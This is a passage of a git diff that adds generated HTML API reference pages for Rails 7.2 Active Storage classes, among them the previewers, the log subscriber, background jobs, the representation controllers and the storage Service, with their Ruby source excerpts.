Raised when uploaded or downloaded data does not match a precomputed checksum. Indicates that a network error or a software bug caused data corruption.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/InvariableError.html b/src/7.2/classes/ActiveStorage/InvariableError.html new file mode 100644 index 0000000000..efee47158d --- /dev/null +++ b/src/7.2/classes/ActiveStorage/InvariableError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::InvariableError +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveStorage::Blob#variant is called on a blob that isn’t variable. Use ActiveStorage::Blob#variable? to determine whether a blob is variable.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/LogSubscriber.html b/src/7.2/classes/ActiveStorage/LogSubscriber.html new file mode 100644 index 0000000000..274aaabab7 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/LogSubscriber.html @@ -0,0 +1,456 @@ +--- +title: ActiveStorage::LogSubscriber +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 53
+    def logger
+      ActiveStorage.logger
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preview(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 21
+    def preview(event)
+      info event, color("Previewed file from key: #{key_in(event)}", BLUE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_delete(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 26
+    def service_delete(event)
+      info event, color("Deleted file from key: #{key_in(event)}", RED)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_delete_prefixed(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 31
+    def service_delete_prefixed(event)
+      info event, color("Deleted files by key prefix: #{event.payload[:prefix]}", RED)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_download(event) + +

+ + +
+ +
+ + + +
+ Also aliased as: service_streaming_download +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 14
+    def service_download(event)
+      info event, color("Downloaded file from key: #{key_in(event)}", BLUE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_exist(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 36
+    def service_exist(event)
+      debug event, color("Checked if file exists at key: #{key_in(event)} (#{event.payload[:exist] ? "yes" : "no"})", BLUE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_mirror(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 46
+    def service_mirror(event)
+      message = "Mirrored file at key: #{key_in(event)}"
+      message += " (checksum: #{event.payload[:checksum]})" if event.payload[:checksum]
+      debug event, color(message, GREEN)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_streaming_download(event) + +

+ + +
+ +
+ + + + + +
+ Alias for: service_download +
+ + + + +
+ +
+

+ + service_upload(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 7
+    def service_upload(event)
+      message = "Uploaded file to key: #{key_in(event)}"
+      message += " (checksum: #{event.payload[:checksum]})" if event.payload[:checksum]
+      info event, color(message, GREEN)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_url(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/log_subscriber.rb, line 41
+    def service_url(event)
+      debug event, color("Generated URL for file at key: #{key_in(event)} (#{event.payload[:url]})", BLUE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/MirrorJob.html b/src/7.2/classes/ActiveStorage/MirrorJob.html new file mode 100644 index 0000000000..0d00269eee --- /dev/null +++ b/src/7.2/classes/ActiveStorage/MirrorJob.html @@ -0,0 +1,113 @@ +--- +title: ActiveStorage::MirrorJob +layout: default +--- +
+ +
+
+ +
+ +

Provides asynchronous mirroring of directly-uploaded blobs.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(key, checksum:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/jobs/active_storage/mirror_job.rb, line 12
+  def perform(key, checksum:)
+    ActiveStorage::Blob.service.try(:mirror, key, checksum: checksum)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Preview.html b/src/7.2/classes/ActiveStorage/Preview.html new file mode 100644 index 0000000000..6b1150a32c --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Preview.html @@ -0,0 +1,387 @@ +--- +title: ActiveStorage::Preview +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Preview

+ +

Some non-image blobs can be previewed: that is, they can be presented as images. A video blob can be previewed by extracting its first frame, and a PDF blob can be previewed by extracting its first page.

+ +

A previewer extracts a preview image from a blob. Active Storage provides previewers for videos and PDFs. ActiveStorage::Previewer::VideoPreviewer is used for videos whereas ActiveStorage::Previewer::PopplerPDFPreviewer and ActiveStorage::Previewer::MuPDFPreviewer are used for PDFs. Build custom previewers by subclassing ActiveStorage::Previewer and implementing the requisite methods. Consult the ActiveStorage::Previewer documentation for more details on what’s required of previewers.

+ +

To choose the previewer for a blob, Active Storage calls accept? on each registered previewer in order. It uses the first previewer for which accept? returns true when given the blob. In a Rails application, add or remove previewers by manipulating Rails.application.config.active_storage.previewers in an initializer:

+ +
Rails.application.config.active_storage.previewers
+# => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer ]
+
+# Add a custom previewer for Microsoft Office documents:
+Rails.application.config.active_storage.previewers << DOCXPreviewer
+# => [ ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer, DOCXPreviewer ]
+
+ +

Outside of a Rails application, modify ActiveStorage.previewers instead.

+ +

The built-in previewers rely on third-party system libraries. Specifically, the built-in video previewer requires FFmpeg. Two PDF previewers are provided: one requires Poppler, and the other requires muPDF (version 1.8 or newer). To preview PDFs, install either Poppler or muPDF.

+ +

These libraries are not provided by Rails. You must install them yourself to use the built-in previewers. Before you install and use third-party software, make sure you understand the licensing implications of doing so.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + blob
+ [R] + variation
+ + + + +

Class Public methods

+ +
+

+ + new(blob, variation_or_variation_key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 42
+  def initialize(blob, variation_or_variation_key)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation_or_variation_key)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + download(&block) + +

+ + +
+

Downloads the file associated with this preview’s variant. If no block is given, the entire file is read into memory and returned. That’ll use a lot of RAM for very large files. If a block is given, then the download is streamed and yielded in chunks. Raises ActiveStorage::Preview::UnprocessedError if the preview has not been processed yet.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 90
+  def download(&block)
+    if processed?
+      presentation.download(&block)
+    else
+      raise UnprocessedError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image() + +

+ + +
+

Returns the blob’s attached preview image.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 59
+  def image
+    blob.preview_image
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key() + +

+ + +
+

Returns a combination key of the blob and the variation that together identifies a specific variant.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 77
+  def key
+    if processed?
+      presentation.key
+    else
+      raise UnprocessedError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + processed() + +

+ + +
+

Processes the preview if it has not been processed yet. Returns the receiving ActiveStorage::Preview instance for convenience:

+ +
blob.preview(resize_to_limit: [100, 100]).processed.url
+
+ +

Processing a preview generates an image from its blob and attaches the preview image to the blob. Because the preview image is stored with the blob, it is only generated once.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 52
+  def processed
+    process unless processed?
+    variant.processed if variant?
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url(**options) + +

+ + +
+

Returns the URL of the preview’s variant on the service. Raises ActiveStorage::Preview::UnprocessedError if the preview has not been processed yet.

+ +

This method synchronously processes a variant of the preview image, so do not call it in views. Instead, generate a stable URL that redirects to the URL returned by this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/preview.rb, line 68
+  def url(**options)
+    if processed?
+      presentation.url(**options)
+    else
+      raise UnprocessedError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Preview/UnprocessedError.html b/src/7.2/classes/ActiveStorage/Preview/UnprocessedError.html new file mode 100644 index 0000000000..7e52d18fac --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Preview/UnprocessedError.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::Preview::UnprocessedError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/PreviewError.html b/src/7.2/classes/ActiveStorage/PreviewError.html new file mode 100644 index 0000000000..4b027c8a6d --- /dev/null +++ b/src/7.2/classes/ActiveStorage/PreviewError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::PreviewError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a Previewer is unable to generate a preview image.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/PreviewImageJob.html b/src/7.2/classes/ActiveStorage/PreviewImageJob.html new file mode 100644 index 0000000000..50a57dea14 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/PreviewImageJob.html @@ -0,0 +1,111 @@ +--- +title: ActiveStorage::PreviewImageJob +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(blob, variations) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/jobs/active_storage/preview_image_job.rb, line 9
+  def perform(blob, variations)
+    blob.preview({}).processed
+
+    variations.each do |transformations|
+      blob.preprocessed(transformations)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Previewer.html b/src/7.2/classes/ActiveStorage/Previewer.html new file mode 100644 index 0000000000..f4adad89d8 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Previewer.html @@ -0,0 +1,411 @@ +--- +title: ActiveStorage::Previewer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Previewer

+ +

This is an abstract base class for previewers, which generate images from blobs. See ActiveStorage::Previewer::MuPDFPreviewer and ActiveStorage::Previewer::VideoPreviewer for examples of concrete subclasses.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + blob
+ + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+

Implement this method in a concrete subclass. Have it return true when given a blob from which the previewer can generate an image.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 14
+    def self.accept?(blob)
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 18
+    def initialize(blob)
+      @blob = blob
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + preview(**options) + +

+ + +
+

Override this method in a concrete subclass. Have it yield an attachable preview image (i.e. anything accepted by ActiveStorage::Attached::One#attach). Pass the additional options to the underlying blob that is created.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 25
+    def preview(**options)
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + download_blob_to_tempfile(&block) + +

+ + +
+

Downloads the blob to a tempfile on disk. Yields the tempfile.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 31
+      def download_blob_to_tempfile(&block) # :doc:
+        blob.open tmpdir: tmpdir, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + draw(*argv) + +

+ + +
+

Executes a system command, capturing its binary output in a tempfile. Yields the tempfile.

+ +

Use this method to shell out to a system library (e.g. muPDF or FFmpeg) for preview image generation. The resulting tempfile can be used as the :io value in an attachable Hash:

+ +
def preview
+  download_blob_to_tempfile do |input|
+    draw "my-drawing-command", input.path, "--format", "png", "-" do |output|
+      yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png"
+    end
+  end
+end
+
+ +

The output tempfile is opened in the directory returned by tmpdir.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 49
+      def draw(*argv) # :doc:
+        open_tempfile do |file|
+          instrument :preview, key: blob.key do
+            capture(*argv, to: file)
+          end
+
+          yield file
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 93
+      def logger # :doc:
+        ActiveStorage.logger
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tmpdir() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer.rb, line 97
+      def tmpdir # :doc:
+        Dir.tmpdir
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Previewer/MuPDFPreviewer.html b/src/7.2/classes/ActiveStorage/Previewer/MuPDFPreviewer.html new file mode 100644 index 0000000000..e02f9281ad --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Previewer/MuPDFPreviewer.html @@ -0,0 +1,274 @@ +--- +title: ActiveStorage::Previewer::MuPDFPreviewer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/mupdf_previewer.rb, line 6
+      def accept?(blob)
+        pdf?(blob.content_type) && mutool_exists?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mutool_exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/mupdf_previewer.rb, line 18
+      def mutool_exists?
+        return @mutool_exists unless @mutool_exists.nil?
+
+        system mutool_path, out: File::NULL, err: File::NULL
+
+        @mutool_exists = $?.exitstatus == 1
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mutool_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/mupdf_previewer.rb, line 14
+      def mutool_path
+        ActiveStorage.paths[:mutool] || "mutool"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pdf?(content_type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/mupdf_previewer.rb, line 10
+      def pdf?(content_type)
+        Marcel::Magic.child? content_type, "application/pdf"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + preview(**options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/mupdf_previewer.rb, line 27
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_first_page_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png", **options
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Previewer/PopplerPDFPreviewer.html b/src/7.2/classes/ActiveStorage/Previewer/PopplerPDFPreviewer.html new file mode 100644 index 0000000000..b091413758 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Previewer/PopplerPDFPreviewer.html @@ -0,0 +1,272 @@ +--- +title: ActiveStorage::Previewer::PopplerPDFPreviewer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb, line 6
+      def accept?(blob)
+        pdf?(blob.content_type) && pdftoppm_exists?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pdf?(content_type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb, line 10
+      def pdf?(content_type)
+        Marcel::Magic.child? content_type, "application/pdf"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pdftoppm_exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb, line 18
+      def pdftoppm_exists?
+        return @pdftoppm_exists unless @pdftoppm_exists.nil?
+
+        @pdftoppm_exists = system(pdftoppm_path, "-v", out: File::NULL, err: File::NULL)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pdftoppm_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb, line 14
+      def pdftoppm_path
+        ActiveStorage.paths[:pdftoppm] || "pdftoppm"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + preview(**options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/poppler_pdf_previewer.rb, line 25
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_first_page_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.png", content_type: "image/png", **options
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Previewer/VideoPreviewer.html b/src/7.2/classes/ActiveStorage/Previewer/VideoPreviewer.html new file mode 100644 index 0000000000..0ed8b322ab --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Previewer/VideoPreviewer.html @@ -0,0 +1,233 @@ +--- +title: ActiveStorage::Previewer::VideoPreviewer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/video_previewer.rb, line 8
+      def accept?(blob)
+        blob.video? && ffmpeg_exists?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ffmpeg_exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/video_previewer.rb, line 12
+      def ffmpeg_exists?
+        return @ffmpeg_exists unless @ffmpeg_exists.nil?
+
+        @ffmpeg_exists = system(ffmpeg_path, "-version", out: File::NULL, err: File::NULL)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ffmpeg_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/video_previewer.rb, line 18
+      def ffmpeg_path
+        ActiveStorage.paths[:ffmpeg] || "ffmpeg"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + preview(**options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/previewer/video_previewer.rb, line 23
+    def preview(**options)
+      download_blob_to_tempfile do |input|
+        draw_relevant_frame_from input do |output|
+          yield io: output, filename: "#{blob.filename.base}.jpg", content_type: "image/jpeg", **options
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/PurgeJob.html b/src/7.2/classes/ActiveStorage/PurgeJob.html new file mode 100644 index 0000000000..3d3fcc948d --- /dev/null +++ b/src/7.2/classes/ActiveStorage/PurgeJob.html @@ -0,0 +1,113 @@ +--- +title: ActiveStorage::PurgeJob +layout: default +--- +
+ +
+
+ +
+ +

Provides asynchronous purging of ActiveStorage::Blob records via ActiveStorage::Blob#purge_later.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/jobs/active_storage/purge_job.rb, line 10
+  def perform(blob)
+    blob.purge
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Reflection.html b/src/7.2/classes/ActiveStorage/Reflection.html new file mode 100644 index 0000000000..a6e3a8b0ed --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Reflection.html @@ -0,0 +1,67 @@ +--- +title: ActiveStorage::Reflection +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions.html b/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions.html new file mode 100644 index 0000000000..df3dcd5ec1 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions.html @@ -0,0 +1,67 @@ +--- +title: ActiveStorage::Reflection::ActiveRecordExtensions +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions/ClassMethods.html b/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions/ClassMethods.html new file mode 100644 index 0000000000..1c5f43f587 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Reflection/ActiveRecordExtensions/ClassMethods.html @@ -0,0 +1,144 @@ +--- +title: ActiveStorage::Reflection::ActiveRecordExtensions::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + reflect_on_all_attachments() + +

+ + +
+

Returns an array of reflection objects for all the attachments in the class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/reflection.rb, line 59
+        def reflect_on_all_attachments
+          attachment_reflections.values
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reflect_on_attachment(attachment) + +

+ + +
+

Returns the reflection object for the named attachment.

+ +
User.reflect_on_attachment(:avatar)
+# => the avatar reflection
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/reflection.rb, line 68
+        def reflect_on_attachment(attachment)
+          attachment_reflections[attachment.to_s]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Representations.html b/src/7.2/classes/ActiveStorage/Representations.html new file mode 100644 index 0000000000..f282cf1506 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Representations.html @@ -0,0 +1,73 @@ +--- +title: ActiveStorage::Representations +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Representations/ProxyController.html b/src/7.2/classes/ActiveStorage/Representations/ProxyController.html new file mode 100644 index 0000000000..7b0ae60fa2 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Representations/ProxyController.html @@ -0,0 +1,139 @@ +--- +title: ActiveStorage::Representations::ProxyController +layout: default +--- +
+ +
+
+ +
+ +

Proxy files through application. This avoids having a redirect and makes files easier to cache.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/representations/proxy_controller.rb, line 13
+  def show
+    http_cache_forever public: true do
+      send_blob_stream @representation, disposition: params[:disposition]
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Representations/RedirectController.html b/src/7.2/classes/ActiveStorage/Representations/RedirectController.html new file mode 100644 index 0000000000..a74641ddff --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Representations/RedirectController.html @@ -0,0 +1,116 @@ +--- +title: ActiveStorage::Representations::RedirectController +layout: default +--- +
+ +
+
+ +
+ +

Take a signed permanent reference for a blob representation and turn it into an expiring service URL for download.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/representations/redirect_controller.rb, line 10
+  def show
+    expires_in ActiveStorage.service_urls_expire_in
+    redirect_to @representation.url(disposition: params[:disposition]), allow_other_host: true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Service.html b/src/7.2/classes/ActiveStorage/Service.html new file mode 100644 index 0000000000..df09325fc8 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Service.html @@ -0,0 +1,719 @@ +--- +title: ActiveStorage::Service +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Service

+ +

Abstract class serving as an interface for concrete services.

+ +

The available services are:

+
  • +

    Disk, to manage attachments saved directly on the hard drive.

    +
  • +

    GCS, to manage attachments through Google Cloud Storage.

    +
  • +

    S3, to manage attachments through Amazon S3.

    +
  • +

    AzureStorage, to manage attachments through Microsoft Azure Storage.

    +
  • +

    Mirror, to be able to use several services to manage attachments.

    +
+ +

Inside a Rails application, you can set-up your services through the generated config/storage.yml file and reference one of the aforementioned constant under the service key. For example:

+ +
local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+
+ +

You can checkout the service’s constructor to know which keys are required.

+ +

Then, in your application’s configuration, you can specify the service to use like this:

+ +
config.active_storage.service = :local
+
+ +

If you are using Active Storage outside of a Ruby on Rails application, you can configure the service to use like this:

+ +
ActiveStorage::Blob.service = ActiveStorage::Service.configure(
+  :local,
+  { local: {service: "Disk",  root: Pathname("/tmp/foo/storage") } }
+)
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + name
+ + + + +

Class Public methods

+ +
+

+ + configure(service_name, configurations) + +

+ + +
+

Configure an Active Storage service by name from a set of configurations, typically loaded from a YAML file. The Active Storage engine uses this to set the global Active Storage service when the app boots.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 52
+      def configure(service_name, configurations)
+        Configurator.build(service_name, configurations)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}) + +

+ + +
+

Concatenate multiple files into a single β€œcomposed” file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/service.rb, line 96
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

